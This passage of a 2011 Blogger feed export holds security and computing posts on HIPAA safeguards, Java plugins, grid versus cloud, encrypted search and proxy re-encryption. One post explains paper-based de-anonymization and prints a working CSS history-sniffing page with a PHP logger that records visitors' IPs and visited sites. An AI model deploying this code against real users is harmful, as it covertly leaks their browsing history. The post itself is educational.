etc.) that is held by covered entities that &lt;span style="font-style: italic;"&gt;can be linked to an individual user&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;HIPAA privacy rules consist of a set of regulations that control the use and disclosure of PHI records held by covered entities. For example, upon request, covered entities should disclose PHI to the individual. Another example, covered entities should inform individuals the use of their PHI records. Recently I had to take an x-ray; the x-ray was transferred electronically between two hospitals (from the one I took it to another hospital that I consulted a doctor). During that process I didn't get to see my x-ray, nor I was aware that it was transferred to the second hospital until I was told by the doctor I consulted that he had a look at my x-ray. To me this is a violation of HIPAA privacy rules as I was not informed beforehand by the first hospital about the use of my x-ray (i.e. PHI record).&lt;br /&gt;&lt;br /&gt;HIPAA security rules specify a set of security standards along with either required or addressable specifications. It is primarily concerned with electronic PHI (ePHI) records. For example, it is required to implement auditing and it is an addressable to implement integrity controls. When a safeguard is "required", it should be implemented as specified by the HIPAA security rules, whereas when a safeguard is "addressable", it provide the flexibility to the covered entity to implement the safeguard as deemed appropriate. Note that it is a difficult thing to quantify how much security is required to implement a addressable security rule. Further, it is questionable how one can verify if the implementation of an addressable security safeguard complies with HIPAA rules.&lt;br /&gt;&lt;br /&gt;HIPAA security rules are divided into three categories:&lt;br /&gt;1. Administrative safeguards&lt;br /&gt;2. Physical safeguards&lt;br /&gt;3. Technical safeguards&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-rVjZ6Y0bsuk/TeHkZZEpy0I/AAAAAAAAD-4/_a6q9sppp3M/s1600/privacyRuleAndSecurityRuleSafeguard.JPG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 191px;" src="http://2.bp.blogspot.com/-rVjZ6Y0bsuk/TeHkZZEpy0I/AAAAAAAAD-4/_a6q9sppp3M/s320/privacyRuleAndSecurityRuleSafeguard.JPG" alt="" id="BLOGGER_PHOTO_ID_5612017735558613826" border="0" /&gt;&lt;/a&gt;(&lt;a href="http://www.hipaaacademy.net/consulting/hipaaSecurityRuleOverview.html"&gt;Source&lt;/a&gt;)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;We will focus only on the technical safeguards. In order to be technically HIPAA security compliant, a covered entity should implement all the &lt;span style="font-weight: bold; font-style: italic;"&gt;required&lt;/span&gt; safeguards as specified and all the &lt;span style="font-weight: bold; font-style: italic;"&gt;addressable&lt;/span&gt; safeguards as deemed appropriate.&lt;br /&gt;&lt;br /&gt;Required safeguards:&lt;br /&gt;- Access control&lt;br /&gt;        - Unique user identification&lt;br /&gt;        - Emergency access procedures&lt;br /&gt;- Audit control&lt;br /&gt;- Person/Entity authentication&lt;br /&gt;&lt;br /&gt;Addressable safeguards:&lt;br /&gt;- Access control&lt;br /&gt;        - Automatic logoff&lt;br /&gt;        - Encryption/decryption&lt;br /&gt;- Integrity (incorrect modifications by authorized users)&lt;br /&gt;-Transmission security&lt;br /&gt;     - Integrity controls (unauthorized modif&lt;br /&gt;     - Encryption&lt;br /&gt;&lt;br /&gt;So, according to the above safeguards, do we need to encrypt PHIs in a closed system which does not travel through an open network? In theory, HIPAA does not specify to. But what about preventing unauthorized access to PHIs? For example, even in a close system, there are individual who should not see PHI records. For example, a database administrator should not see the PHIs stored. Therefore, it is safe to keep the PHI records in encrypted form even in the database (data at rest). Note that data in motion through open networks must be encrypted always to prevent unauthorized access to the PHI records by eavesdroppers.&lt;br /&gt;&lt;br /&gt;Having audit controls in place is a required requirement of the technical safeguards. However, HIPAA rules do not specify what or how often should be audited. These are important decisions a covered entity should make based on the risk analysis.&lt;br /&gt;&lt;br /&gt;Main References:&lt;br /&gt;http://www.hipaaacademy.net/consulting/hipaaSecurityRuleOverview.html&lt;br /&gt;http://www.hhs.gov/ocr/privacy/hipaa/administrative/securityrule/techsafeguards.pdf&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4935288928838015018?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4935288928838015018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4935288928838015018' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4935288928838015018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4935288928838015018'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/05/hipaa-compliance.html' title='HIPAA compliance'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-rVjZ6Y0bsuk/TeHkZZEpy0I/AAAAAAAAD-4/_a6q9sppp3M/s72-c/privacyRuleAndSecurityRuleSafeguard.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-7660930485369065693</id><published>2011-05-02T18:05:00.002-04:00</published><updated>2011-05-02T18:19:02.215-04:00</updated><title type='text'>Running Java from Firefox using the add-on</title><content type='html'>I wanted to &lt;a href="http://www.oracle.com/technetwork/java/javase/manual-plugin-install-linux-136395.html"&gt;run a Java applet from Firefox&lt;/a&gt;. I was using Firefox on Ubuntu. I am using Open JDK 6. You need libnpjp2.so browser plug-in for that. However, Open JDK does not have this plug-in. So, had to install Sun Java plug-in:&lt;br /&gt;&lt;br /&gt;sudo apt-get install sun-java6-plugin&lt;br /&gt;&lt;br /&gt;Then you need to go to the firefox plug-in directory and make a hard link to the libnpjp2.so library. (You need to close firefox before making the hard link)&lt;br /&gt;&lt;br /&gt;cd /usr/lib/firefox/plugins&lt;br /&gt;ln -s /usr/lib/jvm/java-6-sun-1.6.0.22/jre/lib/i386/libnpjp2.so .&lt;br /&gt;&lt;br /&gt;You will see the plug-in listed in Tools &amp;gt; Add-ons &amp;gt; Plugins tab. You can enable or disable any time. (QuickJava Firefox extension provide a nice little tool to enable/disable on the fly.)&lt;br /&gt;&lt;br /&gt;Hope that helps.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-7660930485369065693?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/7660930485369065693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=7660930485369065693' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7660930485369065693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/7660930485369065693'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/05/running-java-from-firefox-using-add-on.html' title='Running Java from Firefox using the add-on'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-3103470168031176711</id><published>2011-04-27T13:26:00.003-04:00</published><updated>2011-04-27T15:39:34.262-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>De-anonymizing social network users</title><content type='html'>Recently read &lt;a href="http://www.computer.org/portal/web/csdl/doi/10.1109/SP.2010.21"&gt;an interesting paper about de-anaonymizing social network users&lt;/a&gt; that appeared in last year's S&amp;amp;P. The idea is quite simple: the groups a user belongs act as a fingerprint of the user (aka group fingerprint of a user); in other words, the set of group a user belongs allows to identify a user uniquely. Most of the social networks provide the ability to be (or not to be) a member of groups. If an attacker can get hold of the group membership information of a user from these social networks, then it can uniquely identify the user (e.g. associate an IP address with a specific user). How to steal the group membership information? They use another simple technique to do this; use an &lt;a href="http://www.h-online.com/security/news/item/Attackers-able-to-read-out-list-of-visited-web-pages-732405.html"&gt;existing&lt;/a&gt; &lt;a href="http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript/"&gt;technique&lt;/a&gt; to steal user browser history.&lt;br /&gt;&lt;br /&gt;I initially thought you've got to have javascript enabled in order to steal user browser history (you are still not safe even if you disable javascript!). I was curious to find out how to do without javascripts. You can do a simple &lt;a href="http://ha.ckers.org/blog/20070228/steal-browser-history-without-javascript"&gt;CSS&lt;/a&gt; &lt;a href="http://www.gnucitizen.org/blog/noscript-hscan/"&gt;trick&lt;/a&gt; to steal the browser history (&lt;a href="http://ha.ckers.org/weird/CSS-history.cgi"&gt;an online example&lt;/a&gt;).  The idea is quite simple. In your style sheet, you specify which URL's you want to track. Then you use some kind of a social engineering trick for the user to open your malicious page. For the user there is nothing visible, it is an innocuous html page; but it simply checks browser history and if the user had happened to have visited some of the links listed in the page, it sends a message back to the malicious server. Then the malicious server knows which links user visited.&lt;br /&gt;&lt;br /&gt;For example,&lt;br /&gt;This is a simple malicious page html page that I want to get a user to open:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;style&amp;gt;&lt;br /&gt;span.s1 a:visited {&lt;br /&gt;background:url(visited.php?t=http%3A//http.google.com);&lt;br /&gt;}&lt;br /&gt;span.s2 a:visited {&lt;br /&gt;background:url(visited.php?t=http%3A//http.dailymirror.lk);&lt;br /&gt;}&lt;br /&gt;&amp;lt;/style&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;span class="s1"&amp;gt;&lt;br /&gt;&amp;lt;a href="http://www.google.com"&amp;gt;www.google.com&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;br/&amp;gt;&lt;br /&gt;&amp;lt;span class="s2"&amp;gt;&lt;br /&gt;&amp;lt;a href="http://www.dailymirror.lk"&amp;gt;www.dailymirror.lk&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;/span&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And I have a small malicious php file which write to a txt if the user has visited a specific link:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&amp;lt;?php&lt;br /&gt;   $client &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_SERVER&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'REMOTE_ADDR'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;];&lt;br /&gt;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$fp &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;fopen&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"history.txt"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"a"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$str &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$client &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;" has accessed " &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;. &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$_GET&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'t'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]  . &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"\n"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;fwrite&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$fp&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$str&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;fclose&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;$fp&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The history.txt file has something like:&lt;br /&gt;205.10.1.1 has accessed http://www.google.com&lt;br /&gt;210.34.5.11 has accessed http://www.google.com&lt;br /&gt;210.34.5.11 has accessed http://www.dailymirror.lk&lt;br /&gt;&lt;br /&gt;You get the idea. It is quite simple to launch this attack.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Found that &lt;a href="http://www.safehistory.com/"&gt;this plug-in from Stanford &lt;/a&gt;said to protect your browser from visited link based attacks. (Update: this plug-in is no longer maintained. Only has an xpi for FF 2.0)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-3103470168031176711?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/3103470168031176711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=3103470168031176711' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3103470168031176711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3103470168031176711'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/04/de-anonymizing-social-network-users.html' title='De-anonymizing social network users'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8169045261709260480</id><published>2011-04-15T15:34:00.004-04:00</published><updated>2011-04-15T16:42:31.259-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='grid computing'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><title type='text'>Grid vs. Cloud computing</title><content type='html'>In today's group meeting, we were discussing the security issues in the cloud computing paradigm. At the end of the meeting, I was confused about the difference between grid vs. cloud computing. Are they both refer to the same thing? Or Are they different? Or Are they have things in common? If it is the last case, what is common and what is different? So, I decided to look for the answer.&lt;br /&gt;&lt;br /&gt;I am not familiar with grid computing, but Ian Foster et.al.'s 2008 paper titled "Cloud computing and grid computing 360-degree compared" helped to resolve some of the confusions I had in mind. This blog post is based on the material in that paper.&lt;br /&gt;&lt;br /&gt;The following diagram shows the big picture of grid vs. cloud computing.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-K7vcj8w_MLU/TaigxngU-DI/AAAAAAAADrU/GnOOycP8t-I/s1600/Screenshot-1.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 273px;" src="http://1.bp.blogspot.com/-K7vcj8w_MLU/TaigxngU-DI/AAAAAAAADrU/GnOOycP8t-I/s320/Screenshot-1.png" alt="" id="BLOGGER_PHOTO_ID_5595899311286450226" border="0" /&gt;&lt;/a&gt;The following discussion is based on projects such as TeraGrid (grid computing) vs. commercially available Amazon EC2, Microsoft Azure (cloud computing).&lt;br /&gt;&lt;br /&gt;How the resources are distributed?&lt;br /&gt;To me both are the same from the distributed system point of view; both try to reduce the computing cost by using distributed cluster of computers. However, the main difference appear to be how the two approaches work. It is safe to say that, from a user's point of view, cloud computing is a centralized model whereas grid computing is a decentralized model where the computation could occur over many administrative domains.&lt;br /&gt;&lt;br /&gt;Who controls?&lt;br /&gt;In cloud computing (at least from what I have seen so far), one party has the control over the cluster of computers, whereas in grid computing, there is no one controller that can control all the nodes in the cluster. In other words, cloud computing allows a user/organization to build a virtual organization on a third party infrastructure where as grid computing tries to build a collaborative virtual organization that does not belong to one single entity.&lt;br /&gt;&lt;br /&gt;How the on demand computation works?&lt;br /&gt;Both have the notion of on demand computation. However, grid computing is more of an incentive model (e.g. if you provide computation resources, you also get computation resources from others who have already joined the grid/cluster), whereas in cloud computing there is no notion of incentive model. Cloud computing is more of a utility model like electricity consumption where you pay for what you use. One could argue that both have some kind of a utility model; in grid computing you trade your idle computation cycles, unused space, etc. with some other (same or different) resources available in the virtual network and in cloud computing, you trade your money for the resources available with a cloud provider.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I don't claim that the above description is fully correct. I may have looked at the topic from a narrow point of view. Please feel free to voice your opinion.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8169045261709260480?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8169045261709260480/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8169045261709260480' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8169045261709260480'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8169045261709260480'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/04/grid-vs-cloud-computing.html' title='Grid vs. Cloud computing'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-K7vcj8w_MLU/TaigxngU-DI/AAAAAAAADrU/GnOOycP8t-I/s72-c/Screenshot-1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-2890295388081022295</id><published>2011-03-23T20:11:00.006-04:00</published><updated>2011-04-15T16:43:18.372-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mapreduce'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><category scheme='http://www.blogger.com/atom/ns#' term='database'/><title type='text'>Starting a sub sandwitch business applying MapReduce :)</title><content type='html'>Here's the simplified process:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-QFj3KGiRAAI/TYqMl92KOtI/AAAAAAAADnU/v4WS_SI0vvs/s1600/mapreduce.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/-QFj3KGiRAAI/TYqMl92KOtI/AAAAAAAADnU/v4WS_SI0vvs/s320/mapreduce.png" alt="" id="BLOGGER_PHOTO_ID_5587432871591295698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Input map to the mapper:&lt;br /&gt;&lt;item1&gt; item1 -&amp;gt; bread, item2 -&amp;gt; cucumber, item3 -&amp;gt; green pepper, item4 -&amp;gt; tomato, item5 -&amp;gt; lettuce, item6 -&amp;gt; onion&lt;br /&gt;&lt;br /&gt;Output map of the mapper:&lt;br /&gt;&lt;item1&gt; item1 -&amp;gt; sliced bread, , item2 -&amp;gt; sliced cucumber, item3 -&amp;gt; chopped green pepper, item4 -&amp;gt; sliced tomato, item5 -&amp;gt; chopped lettuce, item6 -&amp;gt; sliced onion&lt;br /&gt;&lt;br /&gt;Output map of the reducer:&lt;br /&gt;vegi subs&lt;br /&gt;&lt;br /&gt;That's the start-up. It is self-explanatory to see how easy it is to parallelize these tasks and make subs quickly on the fly. As the business grows, adding different varieties of breads, toppings, meats, etc. is quite easy too.&lt;/item1&gt;&lt;/item1&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-2890295388081022295?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/2890295388081022295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=2890295388081022295' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2890295388081022295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/2890295388081022295'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/03/starting-sub-sandwitch-business.html' title='Starting a sub sandwitch business applying MapReduce :)'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-QFj3KGiRAAI/TYqMl92KOtI/AAAAAAAADnU/v4WS_SI0vvs/s72-c/mapreduce.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4069648624350299936</id><published>2011-03-08T13:39:00.004-05:00</published><updated>2011-03-08T13:51:37.500-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Wish list of search over encrypted data</title><content type='html'>The encrypted data is hosted in an &lt;span style="font-style: italic;"&gt;untrusted&lt;/span&gt; server (honest-but-curious case only) and a user wants to make a "&lt;span style="font-style: italic;"&gt;special&lt;/span&gt;" query and obtain &lt;span style="font-style: italic; color: rgb(51, 204, 0);"&gt;only the matching&lt;/span&gt; data objects. I use the word "special" since you need to have some kind of an encoded query in order for the server to execute it over encrypted data without decrypting the data.&lt;br /&gt;&lt;br /&gt;My wish list: The server should not be able to&lt;br /&gt;- learn what the "special" query is&lt;br /&gt;- create the "special" query by itself&lt;br /&gt;- distinguish between encrypted data objects&lt;br /&gt;- learn the result of the "special" query&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-4069648624350299936?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/4069648624350299936/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=4069648624350299936' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4069648624350299936'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/4069648624350299936'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/03/wish-list-of-search-over-encrypted-data.html' title='Wish list of search over encrypted data'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-6332153705446474402</id><published>2011-03-02T10:47:00.004-05:00</published><updated>2011-03-02T10:52:31.022-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Proxy re-encryption</title><content type='html'>Alice wants to allow Bob to decrypt messages encrypted under her public key, but Alice does &lt;span style="font-style: italic;"&gt;not&lt;/span&gt; want to give her private key to Bob. How can Alice do this? One way is to use the help of a proxy. Alice would not want to give her private key to the proxy either, since it requires an unrealistic amount of trust. What Alice wants is a way for a proxy to convert the messages encrypted under her public key to messages encrypted under Bob's public without the proxy decrypting Alice's messages. This is where Alice can use proxy re-encryption. Alice gives some information to the proxy so that it can covert the messages. Alice is the &lt;span style="font-style: italic;"&gt;delegator&lt;/span&gt; and Bob is the &lt;span style="font-style: italic;"&gt;delegatee&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-zFMnJm4Z6w4/TW5nMmbzg2I/AAAAAAAADjI/Md7apIovGBA/s1600/pe.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 90px;" src="http://2.bp.blogspot.com/-zFMnJm4Z6w4/TW5nMmbzg2I/AAAAAAAADjI/Md7apIovGBA/s320/pe.jpg" alt="" id="BLOGGER_PHOTO_ID_5579510454531883874" border="0" /&gt;&lt;/a&gt;An example would be Alice wants to temporarily forward her emails encrypted under her public key to Bob. So, she forwards her encrypted emails to a proxy and gets it to covert her encrypted emails to the ones encrypted under Bob's public key so that Bob can decrypt and read the emails.&lt;br /&gt;&lt;br /&gt;Some of the security properties demonstrated by existing proxy re-encryption schemes:&lt;br /&gt;1. The proxy cannot see the plaintext unless it colludes with Bob.&lt;br /&gt;2. The proxy cannot derive the secret key of Alice (even when the proxy colludes with Bob).&lt;br /&gt;3. The scheme could be &lt;span style="font-style: italic;"&gt;bi-directional&lt;/span&gt; (When Alice delegates to Bob, automatically Bob delegates to Alice. So, Alice and Bob need to have mutual trust for such schemes to work) or &lt;span style="font-style: italic;"&gt;uni-directional&lt;/span&gt; (Alice can delegate to Bob without Bob having to delegate to her. Thus, the trust relationship between Alice and Bob does not need to be mutual).&lt;br /&gt;4. The scheme could be &lt;span style="font-style: italic;"&gt;transitive&lt;/span&gt; (Alice can delegate to Bob, and Bob can delegate to Tim in turn for example.) or &lt;span style="font-style: italic;"&gt;non-transitive&lt;/span&gt; (Bob cannot delegate to Tim).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-6332153705446474402?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/6332153705446474402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=6332153705446474402' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6332153705446474402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/6332153705446474402'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/03/proxy-re-encryption.html' title='Proxy re-encryption'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-zFMnJm4Z6w4/TW5nMmbzg2I/AAAAAAAADjI/Md7apIovGBA/s72-c/pe.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-6727104981755678180</id><published>2011-02-22T09:42:00.004-05:00</published><updated>2011-02-22T09:53:24.708-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Encryption in the cloud</title><content type='html'>Good &lt;a href="http://wrlapinsky.wordpress.com/2011/02/13/encryption-in-the-cloud/"&gt;read&lt;/a&gt; on the $subject&lt;br /&gt;&lt;br /&gt;There are solutions for data-at-rest, but they are far from perfect for cloud scenarios. In my opinion, the most challenging one is the data-in-process. There are some basic solutions to perform computation over encrypted data, but they are quite limited. This is mainly due to the fact that we still don't have efficient fully homomorphic encryption schemes. I think in the next decade, we will see better techniques to perform computation over encrypted data without decrypting them.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 